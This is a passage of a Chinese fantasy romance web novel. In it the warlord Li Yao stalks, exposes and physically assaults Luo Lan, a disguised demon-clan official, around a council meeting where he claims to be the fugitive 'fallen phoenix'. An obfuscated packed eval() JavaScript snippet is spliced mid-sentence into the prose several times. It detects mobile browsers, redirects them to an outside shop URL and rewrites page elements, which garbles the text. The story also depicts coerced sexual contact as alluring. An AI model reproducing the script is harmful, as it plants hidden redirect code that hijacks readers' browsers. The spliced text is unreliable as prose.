那种对毁灭的渴望,对鲜血的饥渴,对碾压敌人的绝对力量的沉迷,让他悚然,却又无法抗拒。 只有在漫天血腥的杀戮中,他才能从那如影随形的、几乎要将他吞噬的巨大空虚里,短暂地解脱出来。 就连与他生死相搏的魔将都不曾真正看破,他对“杀戮”本身那种近乎贪婪的餍足。 唯有一人。 一个在见面之初,就窥破了他伪装的人。 “罗阑……”离曜咀嚼着这个名字。 他回想起曜光军中那夜,仍觉蹊跷。丹凤神火虽被他以秘法强行压制,但照魂镜毕竟是司礼殿异宝,那夜竟丝毫未能照出他神魂异常,反而在陆明身上映出心火痕迹…… “堕凤”早已被除名,样貌、声音、过往,皆被抹去。如今世间流传的,只有戏台上那个面目全非的小丑。 百年后的今天,连他曾经的师兄、如今的仙盟盟主苏沉辰当面都认不出他。 罗阑凭什么能如此笃定,他离曜就是那个“堕凤”? 正思忖间,主街尽头的传送阵漾起一阵灵光涟漪,一列车队从中缓缓驶出。 离曜若有所感,透过揽月楼窗户望下去。 那列车队前后各有八骑护卫,中间是一辆玄黑漆壁的马车,车厢两侧悬挂着避尘铃,发出清脆声响。 离曜眯起眼,注视着车队从揽月楼下经过。 一只手掀开车帘,随即,一张年轻的脸庞凑到窗边,新奇地左右张望。 竟是陆明! 离曜挑眉,握着酒杯的指节无意识收紧了些。 罗阑怎会将陆明带在身边,同乘车驾? 眼见陆明将大半身子探出车窗,指着街边眉飞色舞地说着什么,时而回头朝车内人咧嘴一笑——不过短短数日,先前芥蒂竟似烟消云散,倒显出几分少年人特有的、毫无阴霾的熟稔亲昵。 离曜眼神渐冷。 呵,罗阑倒是会笼络人心。 * 是夜,阙都西北隅,一处清幽府邸。 此地远离主街繁华,高墙深院,门庭冷落,连匾额都未曾悬挂。 离曜一路潜行无声,绕过外围周密的守卫,心中却愈发警惕。 早在罗阑一行抵达阙都前,他就曾派人数探罗府,回报皆是无功而返。此次他亲自追踪罗阑一行去向,总算锁定了罗阑在阙都真正的落脚点。 这府宅看似荒僻,寂无人声,然而离曜一路行来,却是每隔三五步,就有暗桩守卫安插,轮换巡防,布防森严,当真不同寻常。 离曜直奔暗卫拱卫最密集处——主宅院落所在而去。此处建筑虽比别处稍显规整,却也谈不上豪华。 他悄无声息地潜入主屋。屋内亮着灯,将陈设照得清晰。但离曜目光一扫,屋内竟空无一人。 他心头顿时起疑,当机立断,足尖一点便朝外疾 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离曜收敛气息,悄无声息地掠入院中,正房屋内无人,陈设简单到近乎寡淡。 一点极细微的水声自后院传来。 离曜身形一晃,绕到屋侧,隔着竹帘朝后院望去。 后院似施过挡风的阵法,水汽氤氲成雾,原是一处引天然地热而成的温泉池。 雾气缭绕间,朦胧如幻。 一女子正背对着他,浸泡在池中。 池水堪堪漫至她腰际,往上是一段柔白细腻、弧度优美的腰背。湿漉漉的黑发披散下来,被她伸手撩到颈侧,露出那截纤长的脖颈。 水珠顺着脊线滑落,没入水中,荡起一圈圈涟漪。 离曜的呼吸,在看到她那一瞬间,几乎停滞。 梦中那抹模糊的倩影与眼前之人的轮廓不断重叠、剥离、再重叠。 赵富的话在耳畔响起:“——那女子在府中地位超然,俨然便是女主人的做派,深得宠爱,等闲人动不得……” 眼前这女子……难不成真是绛雪么? 池中女子似已泡得久了,有些乏力,将头枕在池边趴伏下来。透过氤氲水汽,隐约可见那女子的肩背肌肤,泛起了一层淡淡绯色。 她许久未动,离曜几乎以为她要睡着了,忽听到一声细弱隐忍的闷哼。 “嗯……” 那声音极轻,分明极力压抑,像是痛苦,又像是沉溺,尾音带着种难言的颤抖。 ……格外勾人。 离曜忽的眯起眼睛。 这女子,莫非是在—— 8. 前尘旧爱 药草的清苦气息,在蒸腾的热雾中弥散。 罗阑浸泡在池中,仰起头,沾湿的黑发黏在纤白颈侧,呼吸急促。 她体虚病弱,加上旧年沉疴,每月都得借这热泉之力,缓和骨缝里渗出的阴冷痛楚。 可今夜不同。 她难耐地咬住下唇,指尖深深掐进掌心。 自被离曜强行喂下那粒药丸后,某种蛰伏的、被长久压抑的躁动便像是决了堤。 起初只是偶尔的心神恍惚,肌肤变得过分敏感,后来就连衣料摩擦都能激起细微的战栗,本该按月而至的情潮期也骤然提前,来势汹汹。 以往,她都是草草应付过去,可这次却…… “唔……” 一声压抑的闷哼逸出唇角,罗阑将半张脸埋入温热的水中,试图让混沌的脑子清醒一些。 恨。 恨这不争气的身体,只单单因为他那一点触碰,便落入如此境地。 水波晃动,恍惚间,仿佛有滚烫的躯体贴近后背,强势气息将她完全笼罩。 男人手掌扼住她的脖颈,不算用力,却带着绝对的掌控意味,迫使她后仰起头,露出脆弱的咽喉。 “阿阑……”那人低沉的声音响在耳畔,“今天好乖。” 紧掐脖颈的手掌缓缓下滑,带着不容抗拒的力度,贪婪抚过…… …… “哈啊……” 罗阑骤然从水中抬起头,剧烈地喘息。 幻觉散去,只余温热的池水和寂寂的夜色。可身体深处那种痉挛般的渴望非但没有平息,反而因这不堪的回忆而变本加厉。 她双膝发软,几乎要滑入水中,不得不趴靠在池边,强压下羞耻和自厌的情绪。 明日便是仙盟议会。 必须在今夜,彻底解决…… 水汽氤氲,沾湿了她颤抖的长睫。 就在意识即将涣散的边界,一声竹叶被踩踏的细微声响,穿透了水声与破碎喘息,刺入耳中。 罗阑悚然一惊! 哗啦一声水响—— 素白内袍旋开,在她赤足踏上池边时,已披覆在身,系带在她指间快速穿梭,打了个结实的结。 她背对声音来向而立,湿发贴在脸颊和颈后,水珠顺着发梢滴落,没入衣领。 “美人,你倒是警觉得很。” 戏谑玩味的声音自身后响起。 罗阑的心,像是被一只冰冷的手攥住,骤然紧缩。 这个声音…… 她攥紧了袖口,声音竭力维持平稳:“阁下夜闯私宅,所为何事?” 离曜走近几步,高大的身影几乎将她完全笼罩。他伸手,指尖掠过她耳侧,拈起一缕长发。 “自然是来寻美人你。月色正好,温泉醉人,独乐乐不如众乐乐,嗯?” 那指尖缠绕发丝的触感,带着种令人头皮发麻的亲昵与狎玩。 罗阑心中发冷。 她冷冷道:“你见了什么人,都这般孟浪无耻么?” 离曜只当她是在被戳穿后羞恼讥诮。 “那也得看是谁。”他低笑,目光在她被湿发半掩的脖颈和耳廓流连,“我就对你这样……寂寞的美人,格外有兴致。” 他嘴上调笑轻浮,眸底却是晦暗不明。指尖撩开她发丝,探向她后颈衣领。 罗阑原在恼怒,察觉到他意图,心底更涌起一股深切的惊恐。 她一把攥住离曜的手:“够了!” 离曜更是笃定,一手扣住她双腕,将人死死揽抱在怀中,另一手就去撕她后领—— 怀中人颤抖不已,离曜鼻尖贴近她发顶,混合着清苦药草香的幽冷味道,弥散入呼吸,让他有片刻分神。视线不经意扫过她侧脸,忽地一怔。 就这刹那失神,怀中女人竟拼着手腕脱臼,狠命向下一缩,如同滑溜的鱼儿般,从他禁锢中逃了开去! 离曜没急着追,还在想刚才瞥见的那半张脸,缓缓眯起眼。 他自然不觉得这女人真能逃走。眼见她仓皇往外跑,竟朝着庭院一侧墙壁撞去,才好笑地闪身过去拉她:“我看你是怕得昏了头,那前面是墙——” 话音戛然而止。 墙面一阵涟漪,那女人竟一头撞了进去,瞬间消失无踪。 “撕拉——!”一声,离曜手中只剩一块扯碎的布料。 他脸色顿变,伸手去碰那墙面,却只碰到硬邦邦、冷冰冰的砖石,再无半分异样。 他迅速腾跃起身,院墙外,只有一片无边无际、随风摇曳的幽暗竹林。 “阵法……”离曜磨了磨后槽牙,“还真让你给跑了。” “咻——!” 府邸外围的某个方向,一枚燃信弹在夜空炸开! 紧接着,数道隐晦而强烈的波动朝那方向疾掠而去。 离曜眼睛一亮,身形瞬间掠出后院,竟是向着骚动源头直追过去。 直到那令人心悸的气息彻底远去,又过了许久,墙面再次泛起波动,一道身影从中走出。 罗阑凝神感知了许久,确认四下再无旁人隐匿,紧绷的肩背才稍稍松懈下来,踉跄一步,扶住了旁边的竹制栏杆。 冷汗,这才后知后觉地浸透了内衫。 好险…… 她喘息着,慢慢蹲下身,手指在池边放置衣物的托盘摸索,一件件检查过去,外袍、中衣、束带……所幸,这些衣物都是女式制样。 她才松了口气,动作忽又顿住。 她入池前脱下的缚胸带……不见了。 * 翌日,仙盟总坛,太玄殿。 殿宇巍峨,穹顶高阔,议桌此刻已坐了七八成满。左右依次是灵域各大宗门的宗主、世家掌权人,以及仙盟各殿的主事。 苏沉辰端坐于主位,目光扫过左右空着的两个席位,又瞥了眼殿角的计时玉漏,“罗总参事与昭夜侯怎还不到?” 离曜不到,众人倒也不意外,他向来横行无忌,行事全凭心意,视规矩如无物。 可罗阑不同。她向来守时重诺,更是此次玄枢关之行的关键人物,于公于私,都绝无迟到之理。 “莫不是罗总参事是见某些人到了,便不想来了?”一个慵懒带笑的声音响起。 说话的是坐在苏沉辰左侧下首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059111|194970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的紫衣青年,他斜倚在座椅中,手中把玩着一柄雕工极其精致的玉扇,扇骨莹润,扇面却是一片空白。 正是秦门世家当代家主,秦玄策。 秦门,乃灵域七大世家之首,其势力触角遍及灵域,掌控着多处灵脉矿藏、商贸枢纽与灵植园,影响力渗透至众多中小宗门,根系深远,盘根错节。 秦玄策年纪轻轻接任家主,手腕心计却比许多老怪物更胜一筹。 “秦家主说笑了。”一位面容清癯的老者沉声道,他身着灵枢院特有的青灰色袍服,正是灵枢院院长墨明子,“罗总参事向来以公事为重,若无要事,断不会缺席。莫非途中出了意外?” 苏沉辰颔首道:“墨院长所言有理。况且罗总参事身体向来欠安,我已派人前往罗府……” 话音未落—— “哐当!” 殿门被人毫不客气地从外一脚踢开,重重撞在两侧墙壁上,发出巨响。 众人一惊,纷纷望去。 只见一道高大挺拔的身影,逆着门外涌入的天光,大步流星地走了进来。 他目光如电,扫过殿内众人,径直走到左侧秦玄策的空位旁,大刺刺坐了下去,还将腿架在了议桌边缘。 殿内一时寂静。 墨明子忍不住出声提醒:“昭夜侯,此乃罗总参事席位。” 离曜眼皮都懒得抬,嗤道:“当我不知道?这椅子镶金了还是嵌玉了,罗阑坐得,我坐不得?” 众人面面相觑,眼神交换间皆是心照不宣。 苏沉辰揉了揉眉心,代众人问出了心中疑惑:“昭夜侯,罗总参事此刻未至,可是与你有关?” 众人有此疑问,当然不是偶然—— 罗阑与离曜不对付,早已是灵域仙盟内部公开的秘密。 所有人都知道,但凡双方共同出现在一次盟议上,必定要找机会令对方难堪。 离曜若是开口,通常是为了反对罗阑的某个计划,而罗阑则在冷冷地听完离曜的“意见”后,慢条斯理地提出另一套方案,字字句句绕得离曜无法反驳。 这反而更激起了离曜的兴致——他针对罗阑处处打压,在事后“还以颜色”。就是要让罗阑亲眼看着,自己如何一步步将她费尽心思的谋划尽数毁去。 久而久之,苏沉辰甚至会在必要时刻意将罗阑与离曜安排错开,避免二人直接冲突。 此刻,面对苏沉辰的询问,离曜换了个更舒服的坐姿:“盟主这可冤枉我了。我昨夜忙着赏月饮酒看美人,哪有空去寻罗阑的晦气?” 就在此时,门外传来一阵平稳的脚步声,以及手杖轻点地面的“笃笃”声。 众人目光再次汇聚。 罗阑到了。 只是,她的状态看起来确实不太好。面具下的嘴唇紧抿,脸色似比平日更为苍白。进来后也未如往常般向众人颔首致意,一句话不说,闷头就往座位走。 一直走到议桌边,她才骤然停住——像是才意识到有人占座。 离曜自她进来后就紧盯着她,见状鼻腔里哼出一声笑,架在桌上的腿晃了晃,“怎么?罗总参事是要我让开么?” 9. 暗潮生春 离曜知道罗阑看不见。 见得她这副强撑镇定、却又因目盲而不得不小心探知周围的模样,某种恶劣趣味又隐隐抬头。 全场目光聚焦。 按往日惯例,这二人必有一番唇枪舌剑。 然而,出乎所有人意料。 罗阑竟一句话也没说,默默从离曜面前转开。 墨明子适时向她招手:“罗总参事,这边有空位。” 罗阑低声道了句“多谢院长”,便在墨明子身旁的空位坐下。 太玄殿内一时针落可闻。 众人表情变得极其精彩,目光在罗阑和似乎也有些意外的离曜之间来回逡巡。 连苏沉辰都多看了罗阑几眼,眼中忧色更深。 反是离曜没了乐子,大感没趣。 “既然人都到齐了,便开始吧。”苏沉辰沉声道。 墨明子手中的半球形法器投射出灵魔两界能量流动的虚影,只见代表灵域的明亮光流中,丝丝缕缕阴郁污浊的黑气不断渗透、缠绕、侵蚀。 “界壁破裂百年,两界连通日久,魔气对灵域的侵蚀日益加剧。”墨明子声音沉重,“照此趋势,莫说凡人聚居之地,便是低阶修士的洞府,数十年后恐也难保清净。届时修行艰难尚在其次,心魔滋生、异化加剧,才是真正大患。” 殿内响起低低的议论声。几个辖区接近西线的宗主面色凝重。 墨明子接着道:“我院已加紧研制,近日‘清心丹’改良略有小成,可暂缓魔染。然产量有限,如何分配,还需议定。” 罗阑忽道:“前沿战线,协助后勤督运的凡人首当其冲,修士尚有功法护体,可暂缓一时。凡人若无庇护,魔气侵蚀,轻则神智昏乱,重则异化为魔物,若是防线自内部溃乱,后果不堪设想。” 她话音刚落,离曜懒洋洋的声音就响了起来:“笑话。丹药有限,自然该用在刀刃上。前线将士是与魔物拼杀的刀锋,保障他们的战力与神智清醒,才是重中之重。凡人?等我们修士死光了,给他们再多丹药,也不过是让魔物饱餐一顿罢了。” 罗阑闻言,却是低声道:“昭夜侯言之……也有理。但凡人亦不可不顾,或可折中,按战况缓急与区域风险,拟定比例调配。” 这般退让,简直不像她了。 苏沉辰沉吟不语。秦玄策摇扇子的手停了下来,目光在罗阑和离曜之间转了一圈,笑得意味深长。 他忽然插话:“罗总参事今日倒是好说话。莫非是身体不适?” 罗阑:“劳秦家主挂心,无碍。” 离曜盯着罗阑看了许久,心头那股烦躁更甚。 这人哪怕病得只剩一口气,该争的也绝不会松口,几时这般乖顺过? 接下来的诸多事项,罗阑都异常安静,除了非答不可的问询,多数时间只是静静听着,没说几句话。 这令离曜越发感到无聊,几乎要打起哈欠。 直到苏沉辰开口:“关于‘堕凤’之事,罗总参事,你带回的那名曜光军士陆明,可有何说法?” 所有人都精神一振,知道重头戏终于要来了。 事实上,前面那些事务不过是开胃菜。堕凤——才是今日各方势力代表齐聚太玄殿的真正目的。 殿门再次开启,两名仙盟卫士将陆明带了上来。 陆明换下了军中的甲胄,穿着一身素色布衣,神色还算平静。只是当他步入这坐满了灵域顶尖人物的殿堂时,仍不免有些紧绷。 罗阑将玄枢关验查经过、照魂镜异象、陆明体内发现丹凤心火残留等情由,精简汇报了一遍,总结道: “陆明体内确存丹凤心火,然其本人记忆全无破绽,神魂稳固,也无被夺舍或操控迹象。在查清陆明身上心火来源前,不宜妄下结论。” “哦?罗总参事的意思是,已对这陆明搜过魂,查探过他记忆了?”秦玄策摇着玉扇,似笑非笑地插话,“只是不知,可有留证?” “搜魂”二字一出,离曜脸色沉下,怒视罗阑。要知道,搜魂术会对修士神魂造成极大损耗,陆明那点修为,如何经得起? 陆明忽道:“是我自行请求罗总参事搜魂查探,以证清白!记忆在留影珠内皆有留存,诸位尽可查看。” 苏沉辰颔首,一名执事弟子呈上一枚莹白珠子。苏沉辰注入灵力,珠子悬浮而起,在议桌上空投射出画面——正是陆明的记忆片段。 众人凝神看去。画面由后往前渐渐倒回,多是军营训练、战场厮杀、同袍往来。 当画面流转至陆明少时,某次魔潮中伤重濒死、而后又奇迹般好转时,秦玄策忽然出声:“停。” 画面定格在一片模糊的血色中,正是少年陆明昏迷前见到的景象。 秦玄策问陆明:“陆小友,你可曾记得,伤重那次,是谁在旁照料?其间都见过些什么人?” 陆明盯着留影珠画面,心头却是惊疑。只因他清楚记得,自己重伤昏迷后,并非直接醒来就在医营。 可中间那段模糊记忆,在留影珠里并没有出现。画面从他重伤倒地,直接跳转到他数日后在医营醒来。 剪切无痕,若非他是当事人,且此刻被刻意引导去想,恐怕也难以察觉那段缺失。 他克制着自己不偏转目光去看罗阑,只盯在记忆画面上,皱眉拼命回想。 秦玄策摇着扇子提醒道:“陆小友,你仔细想想,可曾于何人有恩?又或者,你身边什么人对你格外照顾?” 那还用说吗?对他最好的自然是—— 陆明脑中轰然一响。 难道…… 陆明咽了口唾沫,忽道:“我……那时昏迷多日,应是营内医官轮流照料,不记得有什么人来探过。这段记忆有什么差池么?” 秦玄策手中玉扇“啪”地一合,轻轻敲击掌心,“要知道,凤凰心火,可是丹凤神裔性命交修的本源之火,温养十数年方能得一缕,乃命魂精粹所聚,哪怕一丝损伤都可能伤及根本,遑论剥离赠予?” “不错,”墨明子应声接道,“但若要论温养神魂、续接生机的功效,这心火可称世间绝顶。若非那时被传入你体内,为你护住心脉,你在那般重伤之下,又岂能有命可活?” 陆明听得愣住:“这么说,这堕凤……实则是救了我一命?” “何止是救命之恩?”秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059112|194970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄策扇子一展,遮住半张脸,幽幽道,“这可是割舍了自身命魂精粹来救你。他舍得如此待你,你敢说,你会不认得他么?” 陆明脑海中不期然闪过车厢内,罗阑对他说的话。 “若是你亲近之人,于你有救命深恩,可此人却于大义有缺,坏事做尽,为世所不容,你该当如何?” 陆明还记得当时自己的回答——“大义当前,私恩为轻,自当秉公除恶。” 罗阑听后,沉默了很久。 马车辘辘前行,窗外光影在她脸上明明灭灭。 罗阑最后叹息道:“我曾经也以为自己能够……明辨是非,但不知真到了抉择关头,你可还能坚持?” …… 离曜状似不经意地盯着闪动的记忆画面,耳中忽听陆明讷讷道:“就算……就算‘堕凤’再是罪恶滔天,百年前之事,也已盖棺定论。诸位为何在这魔患当前、百废待兴的关头,执着于查找一个过世百年的人?难道这比抵御魔祸、救治生灵更要紧么?” 离曜忽闭了闭眼。 秦玄策轻轻笑了一声:“我看这位陆小友,是不肯说实话了。” 他转向墨明子,“墨院长,看来有些事,这位小友还不太明白。” 墨明子神色肃穆道:“你有所不知,这堕凤之所以被斥为‘灾星’、‘祸源’,不仅因他当年引魔入关,更因为早在事发之前,璇玑阁已有天谕问世,昭示一人命格特异,注定引灾灭世——” 这话就连离曜都听得一愣。 他这些年虽已暗中打探过许多“堕凤”旧事,但所知大多虚虚实实,真伪难辨。灵域上层稍知内情之人对此都讳莫如深,谁也不愿轻易提起。这天谕灾星一说,他也还是头一次听说。 苏沉辰面前的一颗琉璃珠忽闪了闪,里面传来一个冰冷的声音: “想当初,剑门上下袒护堕凤,不信此谕,结果如何?反引来滔天魔祸,终至满门倾覆,祸及苍生,灵域疮痍百年未复。苏盟主,此事你当最清楚不过。” 苏沉辰听得面色惨然,只道:“璇玑上使说的是。” 那声音继续道:“百年前所应验的,不过天谕前半——如今星象异动,堕凤未灭,终将再启末劫。这后半天谕……恐怕也快要到应验之时了。” 离曜眯起眼,盯着那颗珠子,这还是他数年参会以来,第一次听那珠子传话。原来璇玑阁之人,便是以这种方式,“参与”仙盟议事的么? 秦玄策缓声叹道:“想他当年何等风采?天幸之子,更身负神脉传承,剑门何尝不是对他寄予厚望?可惜一念之差,魔祸延续至今,贻害无穷。陆小友,莫要因一时愚义,重蹈覆辙,你答话前,可要想清楚了。” 陆明脸色煞白,双手紧握成拳,眼中已有决然之色,正要开口—— “我便是那堕凤。” 一道声音,在他之前,接过了话头。 陆明愕然抬头看向说话的方向,满殿哗然! 离曜好整以暇坐在椅上,迎着无数震骇的目光,清晰无比地重复了一遍: “我说,我,离曜,便是你们口中的那个——” “堕、凤。” 10. 暗潮生春 墨明子眉头紧锁:“昭夜侯,这等关头,莫要再开玩笑!” 离曜挑眉:“怎么?那堕凤难道不是居帅掌杀么?单论营中,和陆明这小子走得最近的,难道竟不是我?”他目光一转,落在阶下青年身上,“陆明,你自己说,是不是?” 陆明牙关紧咬,心中惶惑,可对上离曜的视线,他竟鬼使神差地点了点头。 苏沉辰见状叹气。 离曜转向秦玄策道:“这答案——秦家主可还满意?” 秦玄策手中玉扇早已收起,打量了离曜片刻,才道:“你就偏要在此刻搅局?袒护你那曜光军中人?” “护?”离曜冷笑,目光逼视过在场每一个人,“谁说我在护?我便是那堕凤本尊,诸位待要如何?” 殿内气氛霎时凝肃。 琉璃珠静静悬浮,再无动静传出。 就在这时,一道平稳的声音,打破了沉默: “依我看,昭夜侯,却也不是没有嫌疑。” 离曜的目光倏地转向罗阑,他就知道—— 虽说城头那夜,他以她与魔域的关联相胁,逼她就范,但他从未天真到相信罗阑会真的屈服。这人心思深沉,手段难测,几曾是肯轻易低头之人? 却听罗阑继续道:“只是——若昭夜侯当真便是那堕凤,眼下,还真动不得他。” “只因第一步就要褫夺军权,消息一旦传至曜光军,军心激荡,兵变恐在所难免。即便昭告天下他是堕凤,各路军区、边境守将,又有几人会信?曜光势力盘根错节,想要全盘管控,谈何容易?更何况……” “魔域虎视眈眈,放眼灵域,又有何人能即刻接替昭夜侯,震慑魔族?” 她这番话说得不紧不慢,尾音却带着点不易察觉的暗哑。 殿内众人谁都没想到罗阑会把话说得如此直白。不少人的目光偷偷瞥向离曜,想看他作何反应。 离曜正眨也不眨地紧盯着罗阑,喉结滚动了一下,低低地哼笑出声:“罗总参事,倒是替我想得清楚。” 罗阑似讽非讽道:“昭夜侯既坚称自己便是那堕凤,为稳局面计,不妨先发信往边境,暂驻阙都,听候仙盟发落。一等证据确凿,便可——” 她话音忽一顿,毫无征兆地身体一晃! 紧接着,在所有人惊愕的注视下,她整个人像是瞬间被抽走了所有力气,扶着桌沿的手滑脱,身体软软地向一旁歪倒下去! “罗总参事?!” 墨明子离得最近,惊骇之下连忙起身去扶。 离曜却比他更快。 身影一闪,已至罗阑身侧,一把将她瘫软的身子捞起,口中嗤笑:“罗总参事,你这身子骨未免也太差了些?说几句话的功夫,就撑不住了?” 说着,他长臂一展,环过她的肩背,几乎将人半揽在怀中,顺手抄起她搁在一旁的手杖,“罢了,本将便发发善心,扶你下去好生歇着。” 罗阑无力反抗,众目睽睽下,竟就这么一路被他半抱半挟地带离,朝殿门方向走去。 众人皆是神色古怪,震愕难言。秦玄策摇着扇笑问:“昭夜侯,你方才对罗总参事做了什么?” 苏沉辰向殿门两侧的卫士使了个眼色,几名卫士立刻上前阻拦。 离曜脚步不停,只掀起眼皮,一个眼神扫过去,几名卫士竟齐齐一窒,被那威势慑在原地动弹不得。 身后墨明子怒道:“离曜!此乃太玄殿议政之所,你要把罗总参事带往何处?还不快将人放下!” 离曜头也不回,向后摆了摆手,“人正主儿都没说什么,你先急个什么劲?” 仿佛为了印证他的话,下一刻,罗阑低弱却清晰的声音响起:“有劳……墨院长挂心。我不过旧疾发作,歇息片刻便好,先……失陪了。” 话里这意思,竟是默许了离曜此刻行径。 离曜低笑一声,行至紧闭的殿门前,抬脚又是一踹—— “哐当!” 厚重的殿门再次被粗暴踢开。 旋即,两人的身影便消失在了门外刺目的光晕中。 留下身后满殿死寂,面面相觑、神色各异的众人。 离曜挟着罗阑下了传送阵,罗阑战栗道:“放开!” 离曜向来以与她作对为乐,闻言非但不放,反而将罗阑搂得更紧,奇道:“你抖什么?” 罗阑剧烈喘息,用尽了力气才挤出一句话:“……方才在殿中,是你……” 离曜道:“我不过隔空点了你腿上穴道,想叫你不能出声罢了,谁知你竟这般不中用?” 罗阑咬牙:“那处哪有什么穴道……” 她声音骤然一滞——肌肤相贴处,男人身上蓬勃的体温透过衣料传来,灼热得惊人。 罗阑只觉一股难言的酥麻从相贴处传到全身,双腿一软,向下跌去。 “啧。”离曜轻嗤,一把将她提起来,几步走到墙边,将她抵在墙壁上。罗阑尚未喘匀气息,面具又已被摘下。 她忙扭过脸去,却被离曜掐住下巴,硬生生扳了回来。 罗阑感到他低头盯着她看了很久,直看得她头皮发麻。 离曜贴近罗阑耳边,低沉问:“知道你现在看起来像什么吗?” 不待罗阑回答,他直直道:“像发春的猫儿。” “你——!”罗阑浑身发抖,半晌说不出话来——这回是气的。 “你脸红得更厉害了。”离曜说着,伸手来碰她额头。 罗阑一个激灵,一爪子拍开他的手:“别碰我!” 离曜忽道:“你是个女的?” 罗阑僵住:“你……你说什么?” “碰都碰不得,不是的话,你这般扭扭捏捏做什么?” 罗阑分辨不出他这话是作弄还是试探,冷冷道:“多谢昭夜侯扶我出来,但请自重,接下来的路,不劳费心。” 她说着,伸手便要去夺回手杖。 离曜却早有防备,手腕一转,将手杖藏到了身后。 罗阑咬了咬牙,强撑着迈出几步,从他身边绕过去,低声唤道:“影一。” 许久没听到回应,罗阑心下一沉,忽转头问离曜:“你把他们如何了?” 离曜抱臂靠在墙边,哼道:“整日‘影一’、‘影一’地唤,你那暗卫怕是烦了你了,关我什么事?” “离、曜!”罗阑咬着牙,“你在传送阵动了手脚?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她面上却仍强撑着冷笑:“你问题可真多,还有完没完?我看你是眼神不济——” “罗总参事,”离曜直接打断她,指腹重重碾过她唇瓣,“你说谎还真是不打草稿,张口就来。” “你以为你装男人装得很好么?嗯?”离曜挑起她下巴,摩挲着她这张脸,“我不知你是用了什么障眼法,但从城头那夜起,我便知道——” 他一把扣住罗阑的手腕,掌心一寸寸向上,捏过她手臂肌肤,直至触及肩头,指节收紧,透过布料,触到一截纤细的锁骨。 罗阑指尖蜷紧了,可恨这混蛋早已窥破,竟还这般逗着她玩。 “男人的身体,”离曜的声音低哑下去,“不会这样柔软……更不会这样——” 他刻意停顿,指尖在她肩颈交界处轻轻一划。 “敏感。” 言罢,他抬手抓住她后领,往下一撕—— “嗤啦——!” 11. 暗潮生春 罗阑的后领在裂帛声中彻底敞开,衣料滑落,一截白生生的后颈暴露在外。 离曜却是看得一愣—— 她左侧后颈处,只是片冷白的肌肤,没有任何异状。 离曜不信邪,指腹用力摩挲那一小片肌肤,反复搓揉。 罗阑被他搓得发抖,终是忍无可忍,一把抓住离曜:“你够了!” 离曜仍不肯罢休,轻易制住她的反抗,摁着罗阑在她后颈处来回摸索按压,不放过任何一寸。 罗阑在他掌下挣动,皮肤因羞愤和摩擦泛起大片绯红,她呼吸越来越急,终于一个巴掌摔到他脸上—— “啪!” 离曜的脸被打得偏过去,动作顿住。 罗阑冷笑出声:“我是男是女,与你何干?你识破我是女子,便成心要这般欺辱我,是么?” 离曜舌尖顶了顶发麻的颊侧,盯了她半晌,方道:“你该庆幸,你不是我以为的那个人。” 他终于放开手,罗阑一言不发,颤抖着拢起被撕裂的后襟。 离曜眸色沉沉,“但你一个魅女,也敢染指仙盟中枢,就不怕有朝一日……摔得粉身碎骨?” 罗阑动作微不可察地一顿。 魅族,这样一个魔域族群中最堕落的存在,竟在仙盟这抗魔大本营里,爬上了总参事的高位——这秘密一旦揭开,罗阑现在所拥有的一切,或将顷刻崩塌。 离曜鼻尖嗅了嗅,那隐隐浮动的味道漫入鼻端,冷中透甜,幽而不绝。 ——似初雪覆上寒枝,微凉而清冽,却在呼吸间晕开一抹幽暗的甘甜。 以往他只觉这味道过分冷寂,是以从未料想过,这会是魅香。 直到昨夜,他终于发觉,那掩藏在清苦药味底下,遮也遮不住的……糜艳。 罗阑自他道破她身份那刻起,便未再说话,只垂着眼,眼尾洇着湿润,长睫微微颤动。 离曜心头莫名憋着股恼火,冷笑出声:“这么多年没被发现,我是不是该说你藏得够好?咱们英明的盟主知道么?嗯?堂堂仙盟总参事,他得力的好下属,其实是个靠吸食男人精气维生的贱种?” 罗阑冷着一张脸,忽一把推开他往外走。 “这就受不得了?”离曜一把扣住她的手腕将人狠狠拽回,顺势俯身,鼻尖抵进她颈窝深处,深深吸气。 冷香瞬间浸入肺腑。 她的味道缠绕住他所有感官,仿若霜雪在舌尖融化般的冷冽甜意,带来的却是种禁忌的诱惑与眩晕,一股热流直冲下腹,离曜喉结滚动,呼吸陡然粗重了几分。 罗阑霎时浑身僵硬,难堪地别过脸,扯起嘴角冷道:“我看你才是贱到了骨子里,对着这样一张男人的脸,竟都能发情。” 离曜哼笑了声,把她死死扣在怀中,在她耳畔道:“你样貌可以改,声音可以变,可这一身骨子里透出来的……骚味,却是怎么都掩不住的。我毕竟是个再正常不过的男人,如何把持得住?” 他越说越放肆,罗阑抖颤着,面上却没有丝毫表情,淡淡道:“你若想羞辱,无需拐弯抹角,若想激我,又何必故作轻浮?这般行径,轻贱的不是我,是你自己。我是魔族不错,可你竟怀疑苏盟主是我的……入幕之宾,实在荒谬可笑。" 离曜眸底晦暗,罗阑确实道出了他心中所想。 